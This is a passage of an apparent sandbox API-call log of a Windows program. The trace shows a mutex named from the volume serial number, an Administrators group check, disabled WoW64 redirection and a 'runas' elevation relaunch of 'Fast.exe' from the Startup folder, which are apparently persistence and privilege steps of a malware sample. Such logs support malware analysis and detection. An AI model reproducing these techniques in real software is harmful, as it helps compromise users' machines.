lpMem=0x6aa2b0 | out: hHeap=0x690000) returned 1 [0198.919] GetProcessHeap () returned 0x690000 [0198.919] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6a3c00 | out: hHeap=0x690000) returned 1 [0198.919] GetVersion () returned 0x1db10106 [0198.919] GetCurrentProcess () returned 0xffffffff [0198.919] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x32f97c | out: TokenHandle=0x32f97c*=0xa0) returned 1 [0198.919] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x14, TokenInformation=0x32f974, TokenInformationLength=0x4, ReturnLength=0x32f978 | out: TokenInformation=0x32f974, ReturnLength=0x32f978) returned 1 [0198.919] CloseHandle (hObject=0xa0) returned 1 [0198.920] GetProcessHeap () returned 0x690000 [0198.920] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x20) returned 0x6a3c00 [0198.920] GetProcessHeap () returned 0x690000 [0198.920] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x20a) returned 0x6aa098 [0198.920] GetProcessHeap () returned 0x690000 [0198.920] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x20a) returned 0x6aa2b0 [0198.920] GetProcessHeap () returned 0x690000 [0198.920] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6aa098 | out: hHeap=0x690000) returned 1 [0198.920] GetProcessHeap () returned 0x690000 [0198.920] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6aa2b0 | out: hHeap=0x690000) returned 1 [0198.920] GetProcessHeap () returned 0x690000 [0198.920] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x20) returned 0x6a3c50 [0198.920] GetProcessHeap () returned 0x690000 [0198.921] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0x1e) returned 0x6a3c78 [0198.921] GetProcessHeap () returned 0x690000 [0198.921] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x1e) returned 0x6a3ca0 [0198.921] GetProcessHeap () returned 0x690000 [0198.921] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x90) returned 0x6aa098 [0198.921] GetProcessHeap () returned 0x690000 [0198.921] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6aa098 | out: hHeap=0x690000) returned 1 [0198.921] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6a3c78, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0198.921] GetProcessHeap () returned 0x690000 [0198.921] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6a3ca0 | out: hHeap=0x690000) returned 1 [0198.921] GetProcessHeap () returned 0x690000 [0198.921] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6a3c50 | out: hHeap=0x690000) returned 1 [0198.921] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x32f934, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x32f934*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0198.922] GetProcessHeap () returned 0x690000 [0198.922] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6a3c78 | out: hHeap=0x690000) returned 1 [0198.922] GetProcessHeap () returned 0x690000 [0198.923] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x30) returned 0x6aa098 [0198.923] GetProcessHeap () returned 0x690000 [0198.923] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0x26) returned 0x6aa0d0 [0198.923] GetProcessHeap () returned 0x690000 [0198.923] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6aa0d0, Size=0x4a) returned 0x6aa0d0 [0198.923] GetProcessHeap () returned 0x690000 [0198.923] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6aa098 | out: hHeap=0x690000) returned 1 [0198.923] GetProcessHeap () returned 0x690000 [0198.923] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6aa0d0 | out: hHeap=0x690000) returned 1 [0198.923] GetProcessHeap () returned 0x690000 [0198.923] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x1c) returned 0x6a3c78 [0198.923] GetProcessHeap () returned 0x690000 [0198.923] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x1c) returned 0x6a3ca0 [0198.924] GetProcessHeap () returned 0x690000 [0198.924] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x20) returned 0x6aa0b0 [0198.924] GetProcessHeap () returned 0x690000 [0198.924] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0x1e) returned 0x6aa0d8 [0198.924] GetProcessHeap () returned 0x690000 [0198.924] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x1e) returned 0x6aa100 [0198.924] GetProcessHeap () returned 0x690000 [0198.924] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x90) returned 0x6aa898 [0198.924] GetProcessHeap () returned 0x690000 [0198.924] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6aa898 | out: hHeap=0x690000) returned 1 [0198.924] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6aa0d8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0198.924] GetProcessHeap () returned 0x690000 [0198.924] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6aa100 | out: hHeap=0x690000) returned 1 [0198.924] GetProcessHeap () returned 0x690000 [0198.924] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6aa0b0 | out: hHeap=0x690000) returned 1 [0198.925] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x32f91c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x32f91c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0198.925] GetProcessHeap () returned 0x690000 [0198.925] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6aa0d8 | out: hHeap=0x690000) returned 1 [0198.925] GetProcessHeap () returned 0x690000 [0198.925] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x40) returned 0x6a3fd8 [0198.925] GetProcessHeap () returned 0x690000 [0198.925] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0x3a) returned 0x6a4020 [0198.925] GetProcessHeap () returned 0x690000 [0198.926] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6a4020, Size=0x72) returned 0x69f8c8 [0198.926] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0xa0 [0198.926] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0x0) returned 0x102 [0198.926] CloseHandle (hObject=0xa0) returned 1 [0198.926] GetProcessHeap () returned 0x690000 [0198.926] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6a3fd8 | out: hHeap=0x690000) returned 1 [0198.926] GetProcessHeap () returned 0x690000 [0198.926] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x69f8c8 | out: hHeap=0x690000) returned 1 [0198.926] GetProcessHeap () returned 0x690000 [0198.926] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x20) returned 0x6aa0b0 [0198.926] GetProcessHeap () returned 0x690000 [0198.927] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0x1e) returned 0x6aa0d8 [0198.927] GetProcessHeap () returned 0x690000 [0198.927] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x1e) returned 0x6aa100 [0198.927] GetProcessHeap () returned 0x690000 [0198.927] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x90) returned 0x6aa898 [0198.927] GetProcessHeap () returned 0x690000 [0198.927] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6aa898 | out: hHeap=0x690000) returned 1 [0198.927] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6aa0d8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0198.927] GetProcessHeap () returned 0x690000 [0198.927] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6aa100 | out: hHeap=0x690000) returned 1 [0198.927] GetProcessHeap () returned 0x690000 [0198.927] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6aa0b0 | out: hHeap=0x690000) returned 1 [0198.927] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x32f904, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x32f904*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0199.724] GetProcessHeap () returned 0x690000 [0199.724] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6aa0d8 | out: hHeap=0x690000) returned 1 [0199.724] GetProcessHeap () returned 0x690000 [0199.724] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x40) returned 0x6a3fd8 [0199.724] GetProcessHeap () returned 0x690000 [0199.724] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0x3a) returned 0x6a4020 [0199.725] GetProcessHeap () returned 0x690000 [0199.725] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6a4020, Size=0x72) returned 0x69f8c8 [0199.725] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0199.725] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0xa0 [0199.725] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0x0) returned 0x0 [0199.725] GetProcessHeap () returned 0x690000 [0199.725] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6a3fd8 | out: hHeap=0x690000) returned 1 [0199.725] GetProcessHeap () returned 0x690000 [0199.725] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x69f8c8 | out: hHeap=0x690000) returned 1 [0199.725] ReleaseMutex (hMutex=0xa0) returned 1 [0199.726] CloseHandle (hObject=0xa0) returned 1 [0199.726] GetVersion () returned 0x1db10106 [0199.726] GetProcessHeap () returned 0x690000 [0199.726] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x6a1700 [0199.726] GetProcessHeap () returned 0x690000 [0199.726] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x20a) returned 0x6aa898 [0199.726] GetCurrentProcess () returned 0xffffffff [0199.726] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x32f944 | out: TokenHandle=0x32f944*=0xa0) returned 1 [0199.726] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x2, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x32f95c | out: TokenInformation=0x0, ReturnLength=0x32f95c) returned 0 [0199.726] GetProcessHeap () returned 0x690000 [0199.726] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x118) returned 0x6aaab0 [0199.726] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x2, TokenInformation=0x6aaab0, TokenInformationLength=0x118, ReturnLength=0x32f95c | out: TokenInformation=0x6aaab0, ReturnLength=0x32f95c) returned 1 [0199.727] AllocateAndInitializeSid (in: pIdentifierAuthority=0x32f950, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x32f958 | out: pSid=0x32f958*=0x6a1718*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0199.727] EqualSid (pSid1=0x6a1718*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x6aab14*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25))) returned 0 [0199.727] EqualSid (pSid1=0x6a1718*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x6aab30*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0)) returned 0 [0199.727] EqualSid (pSid1=0x6a1718*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x6aab3c*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0199.727] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x6aab3c*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), Name=0x32f528, cchName=0x32f95c, ReferencedDomainName=0x32f734, cchReferencedDomainName=0x32f95c, peUse=0x32f940 | out: Name="Administrators", cchName=0x32f95c, ReferencedDomainName="BUILTIN", cchReferencedDomainName=0x32f95c, peUse=0x32f940) returned 1 [0201.087] GetProcessHeap () returned 0x690000 [0201.087] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6aaab0 | out: hHeap=0x690000) returned 1 [0201.087] GetProcessHeap () returned 0x690000 [0201.087] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x50) returned 0x6aaab0 [0201.087] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x750a0000 [0201.088] GetProcAddress (hModule=0x750a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x750cd650 [0201.088] Wow64DisableWow64FsRedirection (in: OldValue=0x32f978 | out: OldValue=0x32f978*=0x0) returned 1 [0201.088] GetProcessHeap () returned 0x690000 [0201.088] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6aaab0 | out: hHeap=0x690000) returned 1 [0201.088] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6aa898, nSize=0x104 | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Fast.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\fast.exe")) returned 0x45 [0201.088] ShellExecuteExW (pExecInfo=0x32f91c*(cbSize=0x3c, fMask=0x100, hwnd=0x0, lpVerb="runas", lpFile="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Fast.exe", lpParameters=0x0, lpDirectory=0x0, nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) Thread: id = 44 os_tid = 0x604 Thread: id = 58 os_tid = 0x694 Thread: id = 60 os_tid = 0x6a0